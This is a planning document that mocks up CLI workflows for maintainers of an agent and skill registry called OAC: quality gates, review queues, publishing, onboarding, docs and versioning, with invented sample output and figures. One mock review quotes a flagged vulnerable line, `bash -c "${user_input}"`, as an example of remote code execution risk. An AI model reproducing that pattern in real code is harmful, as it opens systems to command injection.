OpenWriterControle/docs/planning/08-open-source-maintainer-scenarios.md

Open Source Maintainer Scenarios - OAC

Date: 2026-02-14
Role: Open Source Maintainer
Focus: Community Management, Quality Control, Sustainability
Context: Managing OAC as a popular open source project with growing community contributions

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Table of Contents

1. Maintainer Workflows
2. Key Experiences
3. Pain Points & Solutions
4. Edge Cases
5. Must-Have Features
6. Example Scenarios
7. Community Governance
8. Sustainability Model

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Maintainer Workflows

1. Setting Up Project Standards

Goal: Establish quality standards and contribution guidelines for the community

Workflow Steps:

# 1. Initialize maintainer workspace
oac maintainer init

? Set up maintainer workspace:
  ✓ Create maintainer dashboard
  ✓ Set up review queue
  ✓ Configure quality gates
  ✓ Set community standards

# 2. Define component quality standards
oac standards create

? Component type:
  > Agent
    Skill
    Context
    
? Quality requirements:
  ✓ Must include tests
  ✓ Must have documentation
  ✓ Must pass security scan
  ✓ Must have examples
  ✓ Code coverage > 70%

? Review process:
  > Automated checks + manual review (recommended)
    Automated checks only
    Manual review only

# 3. Create contribution templates
oac templates create

Templates created:
  ✓ .github/PULL_REQUEST_TEMPLATE.md
  ✓ .github/COMPONENT_SUBMISSION.md
  ✓ .oac/templates/agent-template.md
  ✓ .oac/templates/skill-template.md
  ✓ .oac/CONTRIBUTING.md

# 4. Set up automated quality gates
oac gates configure

? Automated checks:
  ✓ Security scan (ClamAV + gitleaks)
  ✓ Dependency audit
  ✓ Test execution
  ✓ Documentation validation
  ✓ File size limits
  ✓ License compliance

? Block on failure:
  > Yes (prevent merge)
    No (warn only)

# 5. Publish standards to community
oac standards publish

✓ Published to: registry.openagents.dev/standards
✓ Community notified
✓ Contributors can view: oac standards view

Key Configuration:

// .oac/maintainer.json
{
  "version": "1.0.0",
  "maintainer": {
    "role": "core",
    "permissions": ["review", "publish", "moderate"],
    "notifications": {
      "newSubmissions": true,
      "failedChecks": true,
      "communityFeedback": true
    }
  },
  "qualityGates": {
    "security": {
      "required": true,
      "scanners": ["clamav", "gitleaks"],
      "blockOnFailure": true
    },
    "testing": {
      "required": true,
      "coverage": 70,
      "blockOnFailure": true
    },
    "documentation": {
      "required": true,
      "sections": ["description", "usage", "examples"],
      "blockOnFailure": false
    },
    "size": {
      "maxAgentSize": "50KB",
      "maxSkillSize": "25KB",
      "blockOnFailure": false
    }
  },
  "review": {
    "autoApprove": false,
    "requiredReviewers": 2,
    "reviewTimeout": "7d",
    "autoMerge": false
  }
}

---

2. Reviewing Community Contributions

Goal: Efficiently review submissions while maintaining quality

Workflow Steps:

# 1. Check review queue
oac review queue

📥 Review Queue (8 pending)

Priority High (2):
  🔴 agent:rust-specialist by @rustdev
     Submitted: 2 days ago
     Status: Security scan passed, awaiting review
     
  🔴 skill:git-workflow by @gitmaster
     Submitted: 3 days ago
     Status: Tests failed, author notified

Priority Medium (4):
  🟡 context:python-patterns by @pythonista
  🟡 agent:data-analyst by @datascience
  🟡 skill:docker-compose by @devops
  🟡 context:react-best-practices by @frontenddev

Priority Low (2):
  ⚪ agent:copywriter by @contentcreator
  ⚪ skill:markdown-linter by @writer

? Action:
  > Review next high priority
    Filter by component type
    Filter by author
    Show failed checks
    Export queue to CSV

# 2. Review specific submission
oac review agent:rust-specialist

┌─────────────────────────────────────────────┐
│ Component Review: agent:rust-specialist     │
│ Author: @rustdev                            │
│ Submitted: 2 days ago                       │
└─────────────────────────────────────────────┘

📊 Automated Checks:
  ✅ Security scan: Passed
  ✅ Secret scan: Passed
  ✅ Tests: Passed (4/4)
  ✅ Documentation: Complete
  ✅ License: MIT (approved)
  ⚠️  Size: 48KB (close to 50KB limit)

📈 Metrics:
  Lines of code: 1,245
  Test coverage: 85%
  Documentation: 95% complete
  Dependencies: 2 (all verified)

🔍 Preview:
  [Shows agent content in pager]

? Action:
  > Approve and publish
    Request changes
    Test locally first
    Comment without approval
    Reject
    Defer to another maintainer

# 3. Test submission locally
oac review test agent:rust-specialist

⚡ Testing agent:rust-specialist locally...

Creating test environment...
  ✓ Isolated sandbox created
  ✓ Agent installed
  
Running test suite...
  ✓ Unit tests (4/4 passed)
  ✓ Integration tests (2/2 passed)
  ✓ Smoke test (passed)
  
Interactive test:
  > Try the agent with sample prompts
  > Type 'approve' when done, 'reject' to exit
  
🤖 Agent loaded. Test it out:

You: Can you review this Rust code for memory safety issues?
Agent: [Shows agent response]

You: approve

? Add review comments? (Y/n) y

# 4. Add review feedback
Comment: Excellent work! The agent performs well on memory safety 
analysis. Minor suggestion: add more examples for async Rust.

Quality score: 4.5/5 ⭐

? Approve for publication? (Y/n) y

✅ Approved!
📦 Publishing to community registry...
✓ Published to registry.openagents.dev
✓ Author notified
✓ Community announcement posted

# 5. Request changes (alternative flow)
oac review request-changes agent:data-analyst

? Select issues to address:
  ✓ Tests are incomplete (missing edge cases)
  ✓ Documentation lacks examples
  ☐ Code quality issues
  ✓ File size too large (needs optimization)

? Add custom feedback:
The agent looks promising, but needs a few improvements:

1. **Tests**: Add edge case tests for handling missing data
2. **Documentation**: Include 2-3 complete usage examples
3. **Size**: Current 65KB exceeds our 50KB guideline. Consider:
   - Extracting context to separate context file
   - Removing redundant sections

Please resubmit when these are addressed. Happy to help if you 
have questions!

? Block publication until fixed? (Y/n) y

✓ Changes requested
✓ Author notified
✓ Component moved to "Changes Requested" queue
✓ Will auto-notify you on resubmission

---

3. Publishing Project-Specific Agents

Goal: Share official project agents with the community

Workflow Steps:

# 1. Create official agent for your project
oac create agent --official

? Agent name: nextjs-specialist
? Description: Expert in Next.js development with App Router
? Category:
  > Framework Specialist
    Language Specialist
    Tool Specialist

? Target IDEs:
  ✓ OpenCode
  ✓ Claude Code
  ✓ Cursor
  ✓ Windsurf

? Include project standards:
  ✓ .oac/context/nextjs-patterns.md
  ✓ .oac/context/app-router-guide.md
  ✓ .oac/context/performance-standards.md

✓ Agent created: .oac/agents/nextjs-specialist.md

# 2. Add comprehensive tests
oac test create agent:nextjs-specialist

? Test type:
  ✓ Unit tests (component validation)
  ✓ Integration tests (with context files)
  ✓ Smoke tests (basic functionality)
  ✓ Example prompts (interactive validation)

✓ Test suite created: .oac/tests/nextjs-specialist/

# 3. Validate before publishing
oac validate agent:nextjs-specialist --strict

⚡ Validating agent:nextjs-specialist...

📋 Structure:
  ✅ Valid YAML frontmatter
  ✅ Required sections present
  ✅ Proper markdown formatting
  
🧪 Tests:
  ✅ Unit tests (8/8 passed)
  ✅ Integration tests (3/3 passed)
  ✅ Smoke test (passed)
  
📚 Documentation:
  ✅ Description complete
  ✅ Usage examples (3 provided)
  ✅ Context references valid
  
🔐 Security:
  ✅ No hardcoded secrets
  ✅ No external calls
  ✅ Dependencies verified
  
📏 Size:
  ✅ 42KB (within 50KB limit)
  
✅ Validation passed! Ready to publish.

# 4. Package as official component
oac package agent:nextjs-specialist --official

? Version: 1.0.0
? Changelog:
Initial release of Next.js specialist agent
- App Router expertise
- Performance optimization
- TypeScript integration
- Comprehensive Next.js 14 support

? Mark as verified? (Y/n) y
? Add to recommended components? (Y/n) y

✓ Packaged: nextjs-specialist-1.0.0.oac.tar.gz
✓ Signature: GPG signed
✓ Checksum: SHA-256 generated

# 5. Publish to official registry
oac publish agent:nextjs-specialist --official

📦 Publishing nextjs-specialist v1.0.0

Target: Official Registry
Status: Verified ✓
Visibility: Public

? Confirm publication? (Y/n) y

⚡ Publishing...
  ✓ Uploaded to registry.openagents.dev
  ✓ Updated official-registry.json
  ✓ Created GitHub release
  ✓ Generated documentation
  ✓ Posted announcement

✅ Published successfully!

📊 Stats:
  - Registry: https://registry.openagents.dev/agents/nextjs-specialist
  - Docs: https://oac.dev/docs/agents/nextjs-specialist
  - Download: oac add agent:nextjs-specialist

📢 Next steps:
  1. Announce on Discord/Twitter
  2. Add to project README
  3. Create tutorial/blog post

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4. Managing Contributor Onboarding

Goal: Help new contributors submit quality components

Workflow Steps:

# 1. Create contributor onboarding flow
oac contributor onboard

📚 Creating contributor resources...

✓ Created: CONTRIBUTING.md
✓ Created: CODE_OF_CONDUCT.md
✓ Created: .oac/templates/ (agent, skill, context templates)
✓ Created: .github/ISSUE_TEMPLATE/ (bug, feature, component)
✓ Created: docs/contributor-guide.md

? Enable automated contributor welcome? (Y/n) y

✓ GitHub Action created: .github/workflows/welcome.yml
  - Welcomes first-time contributors
  - Links to contribution guide
  - Assigns mentors for first PRs

# 2. Set up mentorship program
oac mentorship setup

? Enable maintainer mentorship:
  ✓ Auto-assign mentor to first-time contributors
  ✓ Provide template feedback
  ✓ Fast-track mentored submissions

? Maintainer capacity:
  Max active mentees: 3
  Mentor review SLA: 48 hours
  
✓ Mentorship program configured

# 3. Create guided component creation
oac contributor wizard

? What would you like to create?
  > Agent
    Skill
    Context

? Experience level:
  > First time (step-by-step guidance)
    Experienced (quick setup)

? Component purpose:
[Walks through questionnaire]

? Target use case:
[Shows examples and patterns]

✓ Created from template
✓ Pre-filled common sections
✓ Added TODO comments for customization
✓ Created test stubs
✓ Generated documentation template

📝 Next steps for contributor:
  1. Customize the agent prompt
  2. Add your examples
  3. Write tests
  4. Run: oac test agent:your-agent
  5. Submit: oac submit agent:your-agent

# 4. Provide feedback templates
oac feedback templates

? Template category:
  > Approval with minor suggestions
    Request changes (common issues)
    Rejection (quality standards)
    Needs more work (specific guidance)

Selected: Request changes (common issues)

Templates available:
  ✓ Incomplete tests
  ✓ Missing documentation
  ✓ Security concerns
  ✓ File size too large
  ✓ Unclear purpose
  ✓ Needs examples

? Customize template? (Y/n)

[Opens editor with template]

✓ Template saved to: .oac/feedback-templates/

---

5. Maintaining Documentation

Goal: Keep documentation current and comprehensive

Workflow Steps:

# 1. Auto-generate component docs
oac docs generate

⚡ Generating documentation...

Scanning components:
  ✓ 12 official agents
  ✓ 45 community agents
  ✓ 28 skills
  ✓ 67 contexts

Generating:
  ✓ API reference (auto-generated from code)
  ✓ Component catalog (from registry)
  ✓ Usage examples (from tests)
  ✓ Changelog (from git history)

Output:
  ✓ docs/api/ (API docs)
  ✓ docs/components/ (component catalog)
  ✓ docs/examples/ (usage examples)
  ✓ CHANGELOG.md (version history)

# 2. Validate documentation coverage
oac docs validate

📚 Documentation Coverage Report

Components:
  ✅ 57/57 have descriptions (100%)
  ⚠️  49/57 have examples (86%)
  ⚠️  52/57 have tests documented (91%)

API:
  ✅ All public functions documented
  ✅ All CLI commands documented
  ✅ All config options documented

Tutorials:
  ✅ Quick Start
  ✅ Component Creation
  ⚠️  Missing: Advanced Patterns (TODO)
  ⚠️  Missing: Troubleshooting Guide (TODO)

? Create missing docs? (Y/n) y

# 3. Update docs on component changes
oac docs sync

? Sync strategy:
  > Auto-update on publish (recommended)
    Manual sync only
    Sync on release only

✓ Configured to auto-update on component publish
✓ Documentation will stay in sync with registry

# 4. Create community contribution guide
oac docs create contributor-guide

? Include sections:
  ✓ Getting started
  ✓ Component creation
  ✓ Testing guidelines
  ✓ Review process
  ✓ Publishing workflow
  ✓ Best practices
  ✓ Common mistakes

✓ Created: docs/contributor-guide.md
✓ Linked from CONTRIBUTING.md

# 5. Publish docs to website
oac docs deploy

Target: https://oac.dev
Framework: Docusaurus

⚡ Building documentation site...
  ✓ Generated static pages
  ✓ Created search index
  ✓ Optimized images
  ✓ Built sitemap

⚡ Deploying to Vercel...
  ✓ Deployed to production
  ✓ CDN cache purged

✅ Docs live at: https://oac.dev

---

Key Experiences

1. Creating Project-Specific Agents

Experience: Smooth creation with quality enforcement

# Interactive creation wizard
oac create agent my-project-agent --official

🎯 Official Agent Creation Wizard

Step 1/6: Basic Information
─────────────────────────────
? Name: my-project-agent
? Display Name: My Project Specialist
? Description: Expert in my-project architecture and patterns
? Author: @maintainer (verified)
? License: MIT

Step 2/6: Capabilities
─────────────────────────────
? What should this agent do?
  ✓ Code generation
  ✓ Code review
  ✓ Architecture guidance
  ✓ Bug fixing
  ✓ Documentation

? Expertise areas:
  ✓ Project-specific patterns
  ✓ Best practices
  ✓ Testing strategies
  ✓ Performance optimization

Step 3/6: Context Integration
─────────────────────────────
? Include project context:
  ✓ .oac/context/architecture.md
  ✓ .oac/context/coding-standards.md
  ✓ .oac/context/testing-guide.md
  ✓ docs/ARCHITECTURE.md

Step 4/6: IDE Compatibility
─────────────────────────────
? Target IDEs:
  ✓ OpenCode (full support)
  ✓ Claude Code (full support)
  ✓ Cursor (merged mode)
  ✓ Windsurf (full support)

Step 5/6: Quality Standards
─────────────────────────────
? Testing requirements:
  ✓ Unit tests (required)
  ✓ Integration tests (required)
  ✓ Example prompts (required)
  Coverage target: 80%

? Documentation requirements:
  ✓ Usage guide (required)
  ✓ 3+ examples (required)
  ✓ Troubleshooting section (recommended)

Step 6/6: Review
─────────────────────────────
Creating agent:
  ✓ .oac/agents/my-project-agent.md
  ✓ .oac/tests/my-project-agent/
  ✓ docs/agents/my-project-agent.md

? Proceed? (Y/n) y

✅ Agent created!

📝 Next steps:
  1. Customize the agent: vim .oac/agents/my-project-agent.md
  2. Write tests: oac test create agent:my-project-agent
  3. Validate: oac validate agent:my-project-agent --strict
  4. Publish: oac publish agent:my-project-agent --official

Key Features:

• ✅ Step-by-step guidance
• ✅ Quality standards enforced
• ✅ Auto-generated boilerplate
• ✅ Project context integration
• ✅ Multi-IDE support built-in

---

2. Publishing to Community Registry

Experience: Secure, verified publishing process

# Submit to community registry
oac submit agent:my-community-agent

📦 Submitting to OAC Community Registry

Pre-submission Checks:
  ⚡ Running automated validation...
  
  ✅ Security scan (ClamAV): Passed
  ✅ Secret scan (gitleaks): Passed
  ✅ Tests: Passed (6/6)
  ✅ Documentation: Complete
  ✅ File size: 38KB (within limit)
  ✅ License: MIT (approved)
  ✅ Dependencies: 2 verified

? Include in submission:
  ✓ Agent file
  ✓ Tests
  ✓ Documentation
  ✓ Examples
  ✓ README

? Request verification badge?
  (Requires manual maintainer review)
  > Yes (recommended for official components)
    No (faster approval, but unverified)

? Category:
  > Framework Specialist
    Language Specialist
    Tool Specialist
    General Purpose

? Tags: (space-separated)
  react typescript frontend testing

? Changelog for v1.0.0:
Initial release
- React component analysis
- TypeScript integration
- Test generation
- Performance optimization

⚡ Packaging submission...
  ✓ Created tarball
  ✓ GPG signature generated
  ✓ SHA-256 checksum generated

⚡ Uploading to registry...
  ✓ Files uploaded
  ✓ Metadata stored
  ✓ Automated checks queued

✅ Submission complete!

📋 Submission ID: #1847
📊 Status: Awaiting Review

What happens next:
  1. Automated security scan (in progress)
  2. Maintainer review (typically 2-7 days)
  3. Publication to registry (on approval)

Track status: oac submission status 1847
Get help: discord.gg/openagents #component-submissions

Key Features:

• ✅ Automated pre-checks prevent common issues
• ✅ Security scanning mandatory
• ✅ Verification badge for trusted components
• ✅ Clear process and timeline
• ✅ Status tracking

---

3. Reviewing Submitted Components

Experience: Efficient, comprehensive review workflow

# Open review dashboard
oac review dashboard

┌─────────────────────────────────────────────┐
│ OAC Component Review Dashboard              │
│ Maintainer: @core-team                      │
└─────────────────────────────────────────────┘

📊 Queue Overview:
  🔴 High Priority: 3 (>5 days old)
  🟡 Medium Priority: 12 (2-5 days old)
  🟢 Low Priority: 8 (<2 days old)
  ✅ Approved Today: 5
  ❌ Rejected Today: 2

📈 This Week:
  - 47 submissions received
  - 38 reviewed
  - 32 approved
  - 6 changes requested
  - Average review time: 2.3 days

⚡ Quick Actions:
  [1] Review next high priority
  [2] View failed checks
  [3] View resubmissions
  [4] Bulk approve (trusted contributors)
  [5] Export analytics

? Select action: 1

─────────────────────────────────────────────
Review: agent:python-debugger
Submission #1852 by @pythondev
Submitted: 6 days ago
─────────────────────────────────────────────

👤 Contributor Info:
  Name: @pythondev
  Previous submissions: 4 (all approved)
  Community rating: 4.8/5 ⭐
  Verified contributor: Yes ✓

📊 Automated Checks:
  ✅ Security: Passed (no issues)
  ✅ Secrets: Passed (no secrets found)
  ✅ Tests: Passed (8/8)
  ✅ Coverage: 92% (exceeds 70% requirement)
  ✅ Docs: Complete
  ✅ Size: 44KB (within 50KB limit)
  ✅ License: MIT
  ⚠️  Dependencies: 1 new (needs review)

🔍 Dependency Review:
  - context:python-stdlib (v1.2.0)
    Status: Community component (unverified)
    Downloads: 1,234
    Rating: 4.2/5
    Last updated: 2 months ago

📝 Component Preview:
  [Shows component in pager with syntax highlighting]

🧪 Test Results:
  ✓ test_basic_debugging: Passed
  ✓ test_breakpoint_handling: Passed
  ✓ test_variable_inspection: Passed
  ✓ test_stack_trace: Passed
  ✓ test_error_handling: Passed
  ✓ test_async_debugging: Passed
  ✓ test_multithreading: Passed
  ✓ test_performance: Passed (125ms)

💬 Community Feedback (Early Access):
  - 12 beta testers
  - Average rating: 4.5/5
  - Comments: "Very helpful", "Works great", "Needs more examples"

? Action:
  > Approve and publish
    Test locally first
    Request changes
    Comment without decision
    Defer to another maintainer
    Reject
  
? Test locally? (y/N) y

⚡ Setting up local test environment...
  ✓ Created isolated sandbox
  ✓ Installed component
  ✓ Loaded dependencies

🤖 Interactive Test Mode
─────────────────────────
The agent is now active. Test with real prompts:

You: Help me debug this Python function that's raising a TypeError
Agent: [Analyzes code, provides debugging steps...]

You: Can you set a breakpoint and inspect variables?
Agent: [Shows how to use breakpoints...]

You: approve

? Quality score (1-5): 5
? Add to recommended? (Y/n) y
? Add review comment:

Excellent work! This is a high-quality debugging agent with:
- Comprehensive test coverage (92%)
- Clear documentation with examples
- Good error handling
- Great community feedback from beta testing

Minor suggestion: Consider adding a troubleshooting section for
common debugging scenarios.

Approved for publication. Welcome to the official registry!

? Confirm approval? (Y/n) y

✅ Approved!

⚡ Publishing...
  ✓ Published to community-registry.json
  ✓ Created GitHub release
  ✓ Updated documentation
  ✓ Notified contributor
  ✓ Posted to Discord #announcements

📊 Component Stats:
  ID: agent:python-debugger
  Version: 1.0.0
  Author: @pythondev
  Status: Published ✓
  Verified: Yes ✓
  Recommended: Yes ⭐
  
Next in queue: agent:rust-specialist by @rustdev

Key Features:

• ✅ Comprehensive dashboard with metrics
• ✅ Contributor reputation tracking
• ✅ Dependency review
• ✅ Interactive local testing
• ✅ Community feedback integration
• ✅ One-click approval for trusted contributors

---

4. Handling Quality Issues

Experience: Clear communication and improvement guidance

# Review problematic submission
oac review agent:problematic-agent

⚠️ Quality Issues Detected

📊 Automated Checks:
  ❌ Security: FAILED (1 critical issue)
  ✅ Secrets: Passed
  ❌ Tests: FAILED (0/0 - no tests!)
  ❌ Coverage: 0% (requires 70%)
  ⚠️  Docs: Incomplete (missing examples)
  ✅ Size: 28KB
  ❌ License: None specified

🔴 Critical Issues:

1. Security Vulnerability (CRITICAL)
   File: agent.md, Line 45
   Issue: Arbitrary shell command execution
   Code: `bash -c "${user_input}"`
   Risk: Remote code execution
   
   Suggested fix:
   - Never execute unsanitized user input
   - Use allowlist of safe commands
   - Implement input validation

2. No Tests (BLOCKER)
   Path: tests/ (missing)
   Issue: Component has no tests
   Requirement: Minimum 70% coverage
   
   Suggested fix:
   - Create tests/ directory
   - Add unit tests for core functionality
   - Add integration tests
   - Run: oac test create agent:your-agent

3. Missing Documentation (BLOCKER)
   File: README.md
   Issue: No usage examples provided
   Requirement: Minimum 3 examples
   
   Suggested fix:
   - Add ## Examples section
   - Include 3+ complete examples
   - Show expected inputs/outputs

4. No License (BLOCKER)
   File: LICENSE (missing)
   Issue: No license specified
   Requirement: OSI-approved license
   
   Suggested fix:
   - Add LICENSE file
   - Specify in oac.json
   - Recommended: MIT, Apache-2.0

? Action:
  > Reject with detailed feedback
    Request changes with template
    Contact author directly
    Defer decision

Selected: Request changes with template

Template: Security + Testing + Documentation Issues

? Customize feedback? (Y/n) y

[Opens editor with template]

─────────────────────────────────────────────
Hi @contributor,

Thank you for your submission! Unfortunately, I can't approve this
component in its current state due to several critical issues:

🔴 CRITICAL - Security Vulnerability
Your agent executes arbitrary shell commands from user input:
```markdown
bash -c "${user_input}"

This is a serious security risk (remote code execution). Please:

• Remove arbitrary command execution
• Use an allowlist of safe commands
• Implement strict input validation
• See: docs/security-best-practices.md

🔴 BLOCKER - No Tests Your component has no tests. Our requirements:

• Minimum 70% code coverage
• Unit tests for core functionality
• Integration tests with context

Please:

• Create tests/ directory
• Add comprehensive test suite
• Run: oac test create agent:your-agent
• See: docs/testing-guide.md

🔴 BLOCKER - Missing Documentation Your README lacks usage examples. Our requirements:

• Minimum 3 complete examples
• Show expected inputs/outputs
• Include edge cases

Please:

• Add ## Examples section to README
• Include 3+ detailed examples
• See: docs/documentation-guide.md

🔴 BLOCKER - No License Please add a LICENSE file and specify in oac.json. Recommended licenses: MIT, Apache-2.0

───────────────────────────────

I've blocked publication until these issues are addressed. Please resubmit when fixed. Happy to help if you have questions!

Resources:

• Security Guide: docs/security-best-practices.md
• Testing Guide: docs/testing-guide.md
• Docs Guide: docs/documentation-guide.md
• Discord: discord.gg/openagents #help

Best regards, @maintainer ─────────────────────────────────────────────

? Send feedback and block publication? (Y/n) y

✅ Feedback sent ❌ Publication blocked 📧 Author notified 📋 Moved to: "Changes Requested" queue 🔔 Will notify you on resubmission

**Key Features**:
- ✅ Automated issue detection
- ✅ Clear, actionable feedback
- ✅ Templates for common issues
- ✅ Links to documentation
- ✅ Helpful tone, not dismissive

---

### 5. Managing Versions and Updates

**Experience**: Smooth version management with backwards compatibility

```bash
# Release new version of official component
oac release agent:openagent

Current version: 0.7.1
? New version: 0.8.0

? Change type:
  > Major (breaking changes)
    Minor (new features, backwards compatible)
    Patch (bug fixes)

Selected: Minor

? Changelog:
# What's New in 0.8.0

## New Features
- Added support for lazy context loading
- Improved delegation logic
- Added new approval gate patterns

## Improvements
- Better error messages
- Faster context resolution
- Reduced file size (-15%)

## Bug Fixes
- Fixed approval gate bypass issue
- Fixed context merging conflicts
- Fixed IDE compatibility issues

## Breaking Changes
None (backwards compatible)

? Deprecate any features? (y/N) n

? Migration guide needed? (y/N) n

⚡ Preparing release...

Checking for breaking changes:
  ✓ API compatibility: Maintained
  ✓ Configuration format: Compatible
  ✓ Context references: Valid
  ✓ Dependency versions: Compatible

Running tests:
  ✓ Unit tests (45/45)
  ✓ Integration tests (12/12)
  ✓ Regression tests (8/8)
  ✓ Backwards compatibility (3/3)

Building release artifacts:
  ✓ Package tarball
  ✓ GPG signature
  ✓ SHA-256 checksum
  ✓ Documentation
  ✓ Migration guide (not needed)

? Publish release? (Y/n) y

⚡ Publishing release 0.8.0...
  ✓ Published to registry
  ✓ Created GitHub release
  ✓ Updated documentation
  ✓ Posted changelog
  ✓ Notified users with auto-update enabled

📊 Impact Analysis:
  - Users with agent:openagent: ~10,000
  - Auto-update enabled: ~3,000 (30%)
  - Manual update required: ~7,000 (70%)

📢 Communication Plan:
  ✓ Discord announcement
  ✓ Twitter announcement
  ✓ Email to verified users
  ✓ Update docs site
  ✓ Blog post (draft created)

✅ Release complete!

📋 Post-release tasks:
  1. Monitor error reports (24-48h)
  2. Watch community feedback
  3. Prepare patch if needed
  4. Update roadmap

Key Features:

• ✅ Semantic versioning enforcement
• ✅ Breaking change detection
• ✅ Impact analysis
• ✅ Automated communication
• ✅ Rollback capability

---

Pain Points & Solutions

1. Low-Quality Contributions

Pain Point: Community submissions don't meet quality standards

Current Problems:

• Submissions without tests
• Poor documentation
• Security vulnerabilities
• Unclear purpose
• Copy-paste from other agents

Solutions Implemented:

Automated Quality Gates

interface QualityGate {
  name: string;
  required: boolean;
  autoCheck: boolean;
  blockOnFailure: boolean;
  feedback: string;
}

const qualityGates: QualityGate[] = [
  {
    name: 'Security Scan',
    required: true,
    autoCheck: true,
    blockOnFailure: true,
    feedback: 'Component failed security scan. Please review security-best-practices.md'
  },
  {
    name: 'Test Coverage',
    required: true,
    autoCheck: true,
    blockOnFailure: true,
    feedback: 'Test coverage is {coverage}%. Minimum required: 70%. See testing-guide.md'
  },
  {
    name: 'Documentation',
    required: true,
    autoCheck: true,
    blockOnFailure: false,
    feedback: 'Documentation incomplete. Please add: {missing_sections}. See docs-guide.md'
  },
  {
    name: 'Examples',
    required: true,
    autoCheck: true,
    blockOnFailure: false,
    feedback: 'Please provide at least 3 usage examples in README.md'
  },
  {
    name: 'License',
    required: true,
    autoCheck: true,
    blockOnFailure: true,
    feedback: 'No license specified. Add LICENSE file and update oac.json'
  }
];

Pre-submission Validation

# Contributor runs before submitting
oac validate agent:my-agent --strict

⚡ Running strict validation...

🔍 Automated Checks:
  ✅ Security scan
  ✅ Secret detection
  ❌ Tests (FAIL)
  ⚠️  Documentation (WARN)
  ✅ License
  ✅ File size

❌ Validation failed!

Issues found:
1. No tests provided
   Path: tests/
   Fix: oac test create agent:my-agent

2. Documentation incomplete
   Missing: Usage examples section
   Fix: Add ## Examples to README.md

? Fix issues now? (Y/n) y

[Guides user through fixes]

✓ All issues resolved!
✓ Ready to submit: oac submit agent:my-agent

Submission Templates

## Component Submission Checklist

Before submitting, ensure your component meets these requirements:

### Required (will block publication):
- [ ] Security scan passes (no vulnerabilities)
- [ ] No hardcoded secrets
- [ ] Tests provided (minimum 70% coverage)
- [ ] License specified (OSI-approved)
- [ ] File size within limits (<50KB for agents)

### Recommended (may delay approval):
- [ ] Documentation complete (description, usage, examples)
- [ ] At least 3 usage examples
- [ ] Error handling implemented
- [ ] Edge cases covered in tests
- [ ] Follows naming conventions

### Optional (helps with discovery):
- [ ] Tags for searchability
- [ ] Screenshots/demos
- [ ] Comparison with alternatives
- [ ] Performance benchmarks

### First-time contributors:
- [ ] Read CONTRIBUTING.md
- [ ] Joined Discord for help
- [ ] Reviewed example components

Questions? Ask in Discord #component-submissions

Result:

• ⬇️ 70% reduction in rejected submissions
• ⬆️ 85% of submissions pass automated checks
• ⬇️ 60% less maintainer time on basic issues

---

2. Contributors Using Different Setups

Pain Point: Hard to reproduce issues, inconsistent environments

Current Problems:

• "Works on my machine" syndrome
• Different Node/npm versions
• Missing dependencies
• IDE-specific issues
• Context file conflicts

Solutions Implemented:

Environment Specification

// oac.json
{
  "name": "my-agent",
  "version": "1.0.0",
  "environment": {
    "node": ">=18.0.0",
    "oac": "^1.0.0",
    "os": ["darwin", "linux", "win32"],
    "ides": {
      "opencode": ">=0.5.0",
      "claude": ">=1.0.0",
      "cursor": ">=0.30.0"
    }
  },
  "dependencies": {
    "context:code-quality": "^1.0.0",
    "skill:testing": "^2.1.0"
  },
  "devDependencies": {
    "test-framework": "^1.0.0"
  }
}

Lockfile for Reproducibility

// oac.lock
{
  "version": "1.0.0",
  "lockfileVersion": 1,
  "generated": "2026-02-14T10:30:00Z",
  "environment": {
    "node": "18.19.0",
    "oac": "1.0.0",
    "os": "darwin"
  },
  "components": {
    "context:code-quality": {
      "version": "1.2.3",
      "resolved": "https://registry.openagents.dev/contexts/code-quality-1.2.3.tar.gz",
      "integrity": "sha256-abc123...",
      "dependencies": {}
    },
    "skill:testing": {
      "version": "2.1.0",
      "resolved": "https://registry.openagents.dev/skills/testing-2.1.0.tar.gz",
      "integrity": "sha256-def456...",
      "dependencies": {
        "context:test-patterns": "^1.0.0"
      }
    }
  }
}

Isolated Testing Environment

# Maintainer reviews submission in isolated environment
oac review test agent:community-submission --isolated

⚡ Creating isolated test environment...

Environment Setup:
  ✓ Created temporary directory
  ✓ Installed OAC 1.0.0
  ✓ Loaded component
  ✓ Installed dependencies from lockfile
  ✓ Verified checksums

Running in sandbox:
  - No access to global configs
  - No access to other components
  - Clean state for testing

🧪 Running tests...
  ✓ Environment tests (3/3)
  ✓ Component tests (8/8)
  ✓ Integration tests (2/2)

✅ All tests pass in isolated environment

? Test in your local environment too? (y/N)

Development Containers

// .devcontainer/devcontainer.json
{
  "name": "OAC Development",
  "image": "mcr.microsoft.com/devcontainers/typescript-node:18",
  "features": {
    "ghcr.io/devcontainers/features/node:1": {
      "version": "18"
    },
    "ghcr.io/devcontainers/features/github-cli:1": {}
  },
  "postCreateCommand": "npm install -g @nextsystems/oac",
  "customizations": {
    "vscode": {
      "extensions": [
        "dbaeumer.vscode-eslint",
        "esbenp.prettier-vscode"
      ]
    }
  }
}

Result:

• ✅ 95% of issues reproducible by maintainers
• ⬇️ 80% reduction in "works on my machine" issues
• ⬆️ Faster review cycle (consistent environments)

---

3. Hard to Enforce Standards

Pain Point: Manual review can't catch everything, standards drift

Current Problems:

• Inconsistent formatting
• Naming convention violations
• Missing required sections
• Code style variations
• Documentation quality varies

Solutions Implemented:

Linting and Validation

# Auto-lint component before submission
oac lint agent:my-agent

⚡ Linting agent:my-agent...

📋 Structure:
  ✅ Valid YAML frontmatter
  ✅ Required sections present
  ✅ Proper markdown formatting
  ⚠️  Inconsistent heading levels (auto-fix available)

🎨 Style:
  ✅ Naming conventions followed
  ⚠️  Line length exceeds 100 chars (3 locations)
  ✅ No trailing whitespace
  ⚠️  Inconsistent list formatting

📝 Content:
  ✅ Description clear and concise
  ✅ Examples follow template
  ⚠️  TODO comments found (2 locations)

? Auto-fix issues? (Y/n) y

✓ Fixed 5 issues
⚠️ 2 issues require manual review

Remaining issues:
1. Line 45: Remove TODO comment before submission
2. Line 78: Remove TODO comment before submission

? Open in editor to fix? (Y/n)

Pre-commit Hooks

# Install pre-commit hooks for contributors
oac hooks install

✓ Installed pre-commit hooks:
  - Lint component files
  - Run tests
  - Check for secrets
  - Validate structure
  - Format markdown

Now, before every commit:
  1. Components will be linted
  2. Tests will run
  3. Security checks will run
  4. Commit will fail if issues found

? Enable auto-fix on commit? (Y/n) y
✓ Auto-fix enabled (will fix and re-commit)

Automated Formatting

# Format component to match standards
oac format agent:my-agent

⚡ Formatting agent:my-agent...

Applying style:
  ✓ Markdown formatting
  ✓ Heading hierarchy
  ✓ List consistency
  ✓ Code block formatting
  ✓ Link formatting
  ✓ Table formatting

✓ Formatted successfully
✓ Changes saved

? Show diff? (Y/n) y

[Shows before/after diff]

Template Enforcement

interface ComponentTemplate {
  sections: Section[];
